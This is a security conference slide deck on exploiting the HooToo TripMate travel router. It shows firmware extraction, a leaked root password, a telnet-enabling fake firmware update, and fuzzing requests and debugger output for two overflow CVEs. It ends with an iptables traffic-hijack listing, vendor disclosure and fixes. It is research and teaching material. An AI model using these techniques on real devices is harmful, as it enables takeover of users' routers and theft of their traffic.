

Hacking travel routers like it's 1999



“Synack leverages the best combination of humans and technology to discover security vulnerabilities in our customers’ web apps, mobile apps, IoT devices and infrastructure endpoints”



UNIVERSITY OF
OXFORD



Mikhail Sosonkin

@HEXLOGIC



Director of R&D

MIKHAIL@SYNACK.COM

Always a Student

HTTP://DEBUGTRAP.COM

```
$ cat agenda | wc -l  
4
```



Why do this?



Breaking in.



Show me the bugs!



The End.

We all just hack for fun... right?

\$ man y

No manual entry for y



I travel a lot



I work in cafes



I do security things

Cuz, hackers gonna hack...

The market delivers...



TP-Link AC750
Wireless Wi-Fi
Travel Router



HooToo TripMate Elite
Travel Wireless Router

★★★★☆ ▾ 863



RAVPower
FileHub Plus

And about 377 more results on Amazon.




Bridging networks/MAC spoofing




Layer of network protection



Connect one device, connect them all



Convenient small form factor



Battery pack included

```
$ cat agenda | wc -l  
3
```



Why do this?



The unboxing



We want bugs!




The End

Peeking a few extra bytes...

nmap -p0-65535 192.168.1.1

PORT	STATE	SERVICE
0/tcp	filtered	unknown
80/tcp	open	http
81/tcp	open	hosts2-ns
5880/tcp	open	unknown
8201/tcp	open	trivnet2



Right-click -> inspect

HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "1800253254"
Last-Modified: Mon, 29 Feb 2016 07:23:52 GMT
Content-Length: 3940
Date: Wed, 28 Jun 2017 12:13:26 GMT
Server: lighttpd/1.4.28

HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 123
Content-type: text/xml; charset=UTF-8
Set-cookie: SESSID=Xqo72s...
Date: Wed, 28 Jun 2017 12:13:26 GMT

Shodan

Developers

Book

View All...

SHODAN

vshttpd



Explore

Enterprise Access

Contact Us

Exploits

Maps

DATA SAVER	27.XX.XX.222	222.XX.XX.27.ap .yournet.ne.jp	FreeBit Co.,Ltd.	2017-06-24 19:38:32 GMT	Japan
DATA SAVER	27.XXX.XX.244	244.XX.XXX.27.a p.yournet.ne.jp	FreeBit Co.,Ltd.	2017-03-20 17:11:29 GMT	Japan
IOVST	111.XX.XXX.128		China Telecom Jiangxi	2017-04-01 08:13:20 GMT	China, Nanchang

HTTP/1.1 200 OK

Server: vshttpd

Cache-Control: no-cache

Pragma: no-cache

Expires: 0

Content-length: 8338

Content-type: text/html

Set-cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D71r3IGWtz7oRuJE;

Date: Sat, 24 Jun 2017 19:38:27 GMT



 Located



```
wget https://...fw-TM06-Support Special Character-2.000.030.rar
```

```
unrar x ../HT-TM06-Support Special Character-2.000.030.rar
```

```
tail -n +263 $0 | gunzip > upfs
```

```
mount upfs upfs.mount
```

```
mount ./upfs_mount/firmware/rootfs upfs_rootfs/
```

```
ls ./upfs_rootfs/usr/sbin/ios  
MIPS32LE ELF (the webserver)
```

Little Endian Squash Filesystem

EXT2 Filesystem


Shellscript

RAR Archive

The WWW's: HooToo official page

```
$ cat ./etc/shadow
root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::
admin:$1$QlrmwRg0$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::
guest:$1$QlrmwRg0$c0iSI2euV.U1Wx6yBkDBI.:13341:0:99999:7:::
```

ROOT PASSWORD:
20080826



- ✓ Located
- ✓ Firmware
- ✓ Password

* on a reasonably priced EC2 instance

< Messages

Alter Ego

Contact

Today 8:32 AM

TripMate Original, Titan
and Nano, all have telnet
enabled 🤪 🐱
chorankates

But I have the Elite 🤖

What are the chances that
the firmware on all these
devices is basically the
same??



\$ find ./ -iname '*telnet*'
./etc/init.d/opentelnet.sh
Look what I found! 😊



l33ts34k



- ✓ Located
- ✓ Firmware
- ✓ Password
- ✗ Shell



```
#!/bin/sh
```

```
/bin/sh /etc/init.d/opentelnet.sh
```

```
exit 1
```


- The firmware update mechanism does not require a signed package.
- Expanded, the update package is just a shellscript




```
$ file ./usr/sbin/ioos
./usr/sbin/ioos: ELF 32-bit LSB executable, MIPS,
MIPS-II version 1 (SYSV), dynamically linked (uses shared libs),
stripped
```

```
check_firmware2 .text:00491118 >>
```

```
addiu    $a1, (aSed13dSCksumCu - 0x530000) # "sed '1,3d' %s|cksum|cut -d' ' -f1"
lw       $a2, 0x3A8+arg_0($sp)
la       $t9, sprintf
nop
jalr     $t9 ; sprintf
```



Checks Firmware update



```
#!/bin/sh
# constant
CRCSUM=2787560248
VENDOR=HooToo
PRODUCTLINE=WifiDGRJ
SKIP=263
TARGET_OS="linux"
TARGET_ARCH="arm"
DEVICE_TYPE=HT-TM06
VERSION=2000030
CPU=7620
```

```
/bin/sh /etc/init.d/opentelnet.sh
```

```
exit 1
```

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell


- The firmware update mechanism does not require a signed package.
- Only a CRC check

- Expanded, the update package is just a shellscript

```
$ telnet 192.168.1.1  
Connected to 192.168.1.1.  
Escape character is '^]'.
```

```
HT-TM06 login: root  
Password:  
login: can't chdir to home directory '/root'  
# ls  
bin      data     etc      home     media    opt      sbin     tmp      var  
boot     dev      etc_ro   lib      mnt      proc     sys      usr      www
```

```
# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344  
Attached; pid = 7344  
Listening on port 9999
```





I is C++

Lots of function pointers...
everywhere!

```
typedef void (*fcn_ptr)(struct state* self, ...);
```

Variables before
function pointers

```
struct state {  
    char[20] name;  
    int      state;  
    fcn_ptr func1;  
    fcn_ptr func2;  
};
```

Buffers before
function pointers

```
struct state* s = malloc(sizeof(struct state));  
s->func1 = func1_implementation;  
s->func2 = func2_implementation;
```

```
s->func1(s, 2, 3);
```

Dynamic function
calls

Dynamic initialization/
allocation

839 uses of **strcpy**, 2167 uses of **sprintf**

```
# sysctl -A | grep kernel.randomize_va_space 2>/dev/null
kernel.randomize_va_space = 1
```

- Present

- Partial Virtual Space randomization
- Binary and heap are fixed
- Libraries and stack are randomized



- Not present

- Stack canaries
- Full ASLR
- Heap protections
- Heap/Stack NX
- Control flow integrity

```
$ cat agenda | wc -l  
2
```



Why do this?



The unboxing



We want bugs!



The End

```
>>> for i in range(1, 20000, 4):  
    testGet(fname= "A" * i)
```

CVE-2017-9026

```
buff = ["GET /protocol.csp?fname=[[fuzz]]&opt=userlock&" +  
        "username=guest&function=get HTTP/1.1",  
        "Host: 192.168.1.1",  
        "Connection: keep-alive",  
        "Cache-Control: no-cache",  
        "If-Modified-Since: 0",  
        "User-Agent: Mozilla/5.0 (Macintosh; Intel .."  
        "Accept: */*",  
        "Referer: http://192.168.1.1/",  
        "Accept-Encoding: gzip, deflate, sdch",  
        "Accept-Language: en-US,en;q=0.8,ru;q=0.6",  
        "Cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D71r3IGWtz7oRuJE;",
```

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash

xml_add_elem:

<snip>

```
.text:00512684 addiu    $v0, $sp, 0x238+var_110    Value of fname
.text:00512688 move     $a0, $v0
.text:0051268C li       $a1, 0x540000
.text:00512690 nop
.text:00512694 addiu    $a1, (aS_19 - 0x540000) # "</%s>"
.text:00512698 lw       $a2, 0x238+element_name($sp)
.text:0051269C la       $t9, sprintf
.text:005126A0 nop
.text:005126A4 jalr     $t9 ; sprintf
.text:005126A8 nop
<snip>
```

256 bytes stack buffer

Value of fname

"</%s>"

0x238+element_name(\$sp)

sprintf

\$t9 ; sprintf



- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash
- ✓ Overflow

Stack pointer!

(gdb) x/100wx \$sp+0x128

0x7f8e1f78:	0x0f242f3c	0xe001fdff	0xe001272b	0x06282728
0x7f8e1f88:	0x0224ffff	0x01015710	0xa2af0c01	0xa48fffff
0x7f8e1f98:	0x0f24ffff	0xe001fdff	0xafaf2778	0x0e3ce0ff
0x7f8e1fa8:	0xce35697a	0xaeaf697a	0x0d3ce4ff	0xad35080a
...				
0x7f8e2038:	0x41414141	0x41414141	0x41414141	0x41414141
0x7f8e2048:	0x41414141	0x41414141	0x41414141	0x41414141
0x7f8e2058:	0x41414141	0x41414141	0x41414141	0x41414141
0x7f8e2068:	0x41414141	0x41414141	0x41414141	0x41414141
0x7f8e2078:	0x41414141	0x41414141	<u>0x3e5126d0</u>	0x0043b8d0



Return address on the stack

Program received signal SIGSEGV, Segmentation fault.

0x3e5126d0 in ?? ()

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash
- ✓ Overflow
- ✓ EIP!

```
$ ls exploit
```

```
ls: exploit: No such file or directory
```

Return to	Static	Null In Address	Use Format Values	Executable
Main binary				
Heap				
ret2libc				
Stack				

-  Located
-  Firmware
-  Password
-  Shell
-  Crash
-  Overflow
-  EIP!
-  Exploit

Restrictions with `sprintf("</%s>")` :

- No nulls
- output buffer follows "</%s>" format

```
>>> for i in range(1, 20000, 4):  
    testPost(cookie= "A" * i)
```

CVE-2017-9025

```
buff = ["POST /protocol.csp?fname=security&opt=userlock&"  
        "username=guest&function=get HTTP/1.1",  
        "Host: 192.168.1.1",  
        "Connection: keep-alive",  
        "Cache-Control: no-cache",  
        "If-Modified-Since: 0",  
        "User-Agent: Mozilla/5.0 (Macintosh; Intel...",  
        "Accept: */*",  
        "Referer: http://192.168.1.1/",  
        "Accept-Encoding: gzip, deflate, sdch",  
        "Accept-Language: en-US,en;q=0.8,ru;q=0.6",  
        "Content-length: [[shelllen]]",  
        "Cookie: [[cookies]]",  
        "",  
        "",  
        "[[shell]]"]
```

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow

.text:00521A90 >>

```
lw      $v0, 0x40+var_1C($sp)
nop
lw      $t9, 0x10($v0)
lw      $a0, 0x40+var_1C($sp)
jalr    $t9          # cgi_tab_alloc
...
sw      $v0, 0x40+cgi_tab($sp)
```

```
10 cgi_tab =
    malloc(sizeof(cgi_tab));
// sizeof(inner buffer) = 1024
```

.text:00521B9C >>

```
addiu   $a1, (aCookie - 0x550000) # "Cookie"
jalr    $t9          # ht_header_find
nop
lw      $gp, 0x40+var_28($sp)
sw      $v0, 0x40+cookie_value($sp)
...
```

```
20 cookie_value =
    ht_header->
        ht_header_find("Cookie");
```

```
lw      $v1, 0x40+cgi_tab($sp)
li      $v0, 0x16858
addu    $v0, $v1, $v0    # cgi_tab+0x16858
move    $a0, $v0        # dest
lw      $a1, 0x40+cookie_value($sp) # src
la      $t9, strcpy
nop
jalr    $t9 ; strcpy
```

```
30 src = cookie_value;

40 dst = cgi_tab+0x16858

50 strcpy(dst, src);
// so... we send 1036 bytes!
```



```

hootoo — python cookie_overflow.py 192.168.1.1 — 60x20
msosonkin-00350:hootoo nl$ python cookie_overflow.py
.1.1
shellcode size: 978
POST /protocol.csp?fname=security&opt=userlock&userna
t&function=get HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Cache-Control: no-cache
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Mac
AppleWebKit/537.36 (KHTML,
afari/537.36
Accept: */*
Referer: http://192.168.1.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Content-length: 978
Cookie: AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA

```

```


nl — mike@ubuntu: ~ — telnet 192.168.1.1 — 80x8
[# ps -ef | grep ioo
root      18172      1  1 08:46 ?          00:00:00 /usr/sbin/ioos
root      18177 18006  0 08:46 pts/0      00:00:00 grep ioo
[# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 18172
Attached; pid = 18172
Listening on port 9999
Remote debugging from host 192.168.1.2

```

```

nl — mike@ubuntu: ~ — ssh mike@172.16.134.181 — 78x17
(gdb) display /5i $pc
1: x/5i $pc
=> 0x4136b0: jalr t9
0x4136b4: nop
0x4136b8: lw sp,16(sp)
0x4136bc: lw sp,1,28(sp)
0x4136c0: lui v0,0x1
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 7fe14c34 005a6ad0 00596ad0 00596ad0 00000001 00000000 00000001
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000000 00000000 00000000 814b3a20 00000001 00000100 00000400
s0 s1 s2 s3 s4 s5 s6 s7
R16 00594668 00407e10 00000000 ffffffff 2b5fda80 7fe15114 00407e60 00000001
t8 t9 k0 k1 gp sp s8 ra
R24 00000000 42424242 2b5fc3e4 00000000 00596c90 7fe14bb0 004080d0 00413000
---Type <return> to continue, or q <return> to quit---

```



- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow
- ✓ EIP!

```
(gdb) x/5i 0x00521BD4
0x521bd4:  move    a0,v0
0x521bd8:  lw      a1,40(sp)
0x521bdc:  lw      t9,-28472(gp) // strcpy
0x521be0:  nop
0x521be4:  jalr    t9
```

1

Cookie & fcnptr

```
nl — mike@ubuntu: ~ — ssh mike@172.16.134.183 — 78x5
(gdb) x /100wx $v0+0x6C64-0x20
0x5ad714:  0x41414141  0x41414141  0x41414141  0x41414141
0x5ad724:  0x41414141  0x41414141  0x41414141  0x41414141
0x5ad734:  0x42424242  0x0051bf00  0x0051bc78  0x0051b8e8
0x5ad744:  0x0051c788  0x0051e9e8  0x0051efbc  0x0051f6b8
```

cgi_tab->fnc()

```
(gdb) x /5i $pc-8
0x4136a8:  lw      t9,27748(v0)
0x4136ac:  lw      a0,28(sp)
=> 0x4136b0:  jalr    t9 // cgi_tab->fnc()
0x4136b4:  nop
0x4136b8:  lw      gp,16(sp)
```



2

```
nl — mike@ubuntu: ~ — ssh mike@172.16.134.183
(gdb) x /100wx 0x0059735c
0x59735c:  0x23390010  0xaf3903a8  0x00000000  0x00000000
0x59736c:  0x3c1c0000  0x279c0000  0x0399e021  0x27bdfdd8
0x59737c:  0xafbf0024  0xafbe0020  0x03a0f025  0xafbc0010
0x59738c:  0x3c020058  0x3442eca0  0xafc20018  0x8fc20018
0x59739c:  0x00000000  0x244204a0  0x8c420000  0x00000000
0x5973ac:  0x00401825  0x8f8203a8  0x00000000  0xac4302c4
0x5973bc:  0x8fc20018  0x00000000  0x24420a84  0x8c420000
0x5973cc:  0x00000000  0x00401825  0x8f8203a8  0x00000000
```

Preamble
&
Shellcode

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow
- ✓ EIP!
- ✓ Exploit

Demo!




- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow
- ✓ EIP!
- ✓ Exploit
- ✓ Attack

```
GDBserver exiting
# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target      prot opt source                destination
DNAT        udp  --  anywhere              192.168.1.1           udp dpt:domain to:75.75.75.75:53
DNAT        tcp  --  192.168.1.3          anywhere              tcp dpt:http to:35.185.202.54:8800
```

Lots of top site still don't use SSL: [Google transparency report](#)

```
$ ps -ef | grep attack
```

```
503 91038 73200 0 5:47PM ttys001 0:00.00 ./my_attack
```



```
$ cat agenda | wc -l  
1
```



Why do this?



The unboxing



We want bugs!



The End

That was fun...



CVE-2017-9026:

Specific: `snprintf($sp+0x128, 256, "</%s>", fname);`


General: Stack canaries

CVE-2017-9025:

Specific: `strncpy(dst, src, 1024);`

General: `(ctx->fcn ^ canary)(param);`

Windows: DecodePointer



NSA has a patent on that. Sorry!

```
# cat /dev/attack_cases
```

```
❖ ❖j❖Ws"
```

- Gain an attack proxy for *attribution obfuscation*
- Steal user information such as *authentication tokens*
- Manipulate user activity... *iframes!*
- *Foothold* into enterprise or private networks



```
#12 +(3869)- [X]
```

```
<Moot> ok, here's what we do
```

```
<Moot> we break into AOL HQ
```

```
<Moot> and instead of the AOL setup utility, we put metallica  
mp3s on all of the startup cds
```



```
$ cat bug | sed 's/exploit/vendor/g'  
vendor give a shell
```

`"We have transmit your email and issue to our product team. But we feel sorry that we would inform you until 2/8 because product team has day off due for Spring Festival." - support@hootoo.com`



Super polite



Entire product team off for the spring festival ([Chinese New Year](#))



Received a personal update before it was made generally available.

```
$ echo "learned $?"  
learned 0
```

"Don't roll your own crypto"

=> "Don't roll your own CGI webserver"



Vendors do respond!



Install [OpenWRT](#) on the device.



Exploiting routers is fun.



People still use strcpy and sprintf - *like they did in 1999!*

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow
- ✓ EIP!
- ✓ Exploit
- ✓ Attack
- ✓ Lessons

Questions and Answers

...Catch me in the halls or online!



Mikhail Sosonkin

Email: mikhail@synack.com

blog: debugtrap.com

Twitter: [@H4ckerLife](https://twitter.com/H4ckerLife)

- ✓ Located
- ✓ Firmware
- ✓ Password
- ✓ Shell
- ✓ Crash 2
- ✓ Overflow
- ✓ EIP!
- ✓ Exploit
- ✓ Attack
- ✓ Lessons
- Profit?

Аціў! Спасибо! Thank you!